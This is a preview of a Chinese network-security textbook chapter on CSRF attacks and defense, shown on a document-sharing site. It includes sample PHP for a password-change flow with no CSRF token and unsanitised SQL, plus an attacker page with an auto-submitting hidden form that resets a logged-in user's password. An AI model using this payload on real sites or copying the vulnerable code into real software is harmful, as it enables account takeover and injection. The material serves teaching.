《計算機網絡安全防護技術（第二版）》 課件 第7章 任務7.3 CSRF漏洞攻擊與防御_第1頁
《計算機網絡安全防護技術（第二版）》 課件 第7章 任務7.3 CSRF漏洞攻擊與防御_第2頁
《計算機網絡安全防護技術（第二版）》 課件 第7章 任務7.3 CSRF漏洞攻擊與防御_第3頁
《計算機網絡安全防護技術（第二版）》 課件 第7章 任務7.3 CSRF漏洞攻擊與防御_第4頁
《計算機網絡安全防護技術（第二版）》 課件 第7章 任務7.3 CSRF漏洞攻擊與防御_第5頁
已閱讀5頁，還剩5頁未讀， 繼續(xù)免費閱讀

下載本文檔

版權說明：本文檔由用戶提供并上傳，收益歸屬內容提供方，若內容存在侵權，請進行舉報或認領

文檔簡介

第7章Web安全技術編著：

秦燊勞翠金

任務7.3

CSRF漏洞攻擊與防御任務7.3CSRF漏洞攻擊與防御

諸如修改用戶密碼、銀行帳號轉賬等關鍵處理中，會涉及到跨站請求偽造漏洞（Cross-SiteRequestForgeries漏洞），簡稱CSRF漏洞。針對CSRF漏洞的攻擊就是CSRF攻擊。

CSRF漏洞會導致遭受的攻擊主要有：更改用戶密碼或郵箱地址、刪除用戶帳號、使用用戶賬號購物、使用用戶帳號發(fā)帖等。預防CSRF漏洞的方法，是在執(zhí)行關鍵處理之間，先確認是否用戶自愿發(fā)起的請求。

一、網頁的內容及功能。

首先用戶通過的25.htm輸入用戶名及密碼登錄，登錄成功后進入26.php歡迎頁面，在26.php頁面中，點擊“下一頁”，進入27.php密碼修改鏈接頁面。1.網站的密碼修改鏈接頁面27.php內容如下：<head><metahttp-equiv="Content_Type"content="text/html";charset="utf-8"/></head><body><?phpsession_start();$id=$_SESSION['aa'];if($id==''){ die('請登錄');}?>已登錄（username:<?phpechohtmlspecialchars($id,ENT_NOQUOTES,'UTF-8');?>)<br><ahref="28.php">修改密碼</a></body>網頁27.php的顯示效果如圖7-3-1所示。點擊“修改密碼”鏈接后，進入28.php密碼修改頁面。圖7-3-1網站www.上的網頁27.php2.網站的密碼修改鏈接頁面28.php內容如下：<?phpsession_start();$id=$_SESSION['aa'];if($id==''){ die('請登錄');}?>username:<?phpechohtmlspecialchars($id,ENT_NOQUOTES,'UTF-8');?><br>請輸入新密碼：<br><formaction="29.php"method="POST"> <inputtype="password"name="password"> <inputtype="submit"value="提交修改"></form>網頁28.php的顯示效果如圖7-3-2所示。

用戶輸入新密碼，如“123”，點擊“提交修改”按鈕后，頁面轉到進行密碼寫入數據庫的頁面29.php。圖7-3-2網站www.上的網頁28.php3.網站的網頁29.php內容如下：<?phpsession_start();$password=$_POST['password'];$username=$_SESSION['aa'];require'conn.php';mysql_query("updateusersetpassword='$password'whereusername='$username'");if(mysql_affected_rows()) echo"密碼更改成功！";else echo"密碼更新失敗！";?>網頁28.php的顯示效果如圖7-3-3所示。圖7-3-3網站www.上的網頁29.php二、攻擊者利用被攻擊網頁的漏洞，篡改用戶密碼若用戶已經通過的登錄頁面25.htm成功登錄site1，后被誘導訪問攻擊者網站的頁面27.htm，則site1當前用戶的密碼將會被篡改。1.攻擊者網站上，網頁27.htm的內容：<iframeheight="160"src="28.php"></iframe>2.攻擊者網站上，網頁28.php的內容：<bodyonload="document.forms[0].submit()"> <formaction="/29.php"method="POST"> <inputtype="hidden"name="password"value="heike"> </form></body>

溫馨提示

  • 1. 本站所有資源如無特殊說明，都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等，如果需要附件，請聯(lián)系上傳者。文件的所有權益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙，網頁內容里面會有圖紙預覽，若沒有圖紙預覽就沒有圖紙。
  • 4. 未經權益所有人同意不得將文件中的內容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網僅提供信息存儲空間，僅對用戶上傳內容的表現方式做保護處理，對用戶上傳分享的文檔內容本身不做任何修改或編輯，并不能對任何下載內容負責。
  • 6. 下載文件中如有侵權或不適當內容，請與我們聯(lián)系，我們立即糾正。
  • 7. 本站不保證下載資源的準確性、安全性和完整性, 同時也不承擔用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

評論

0/150

提交評論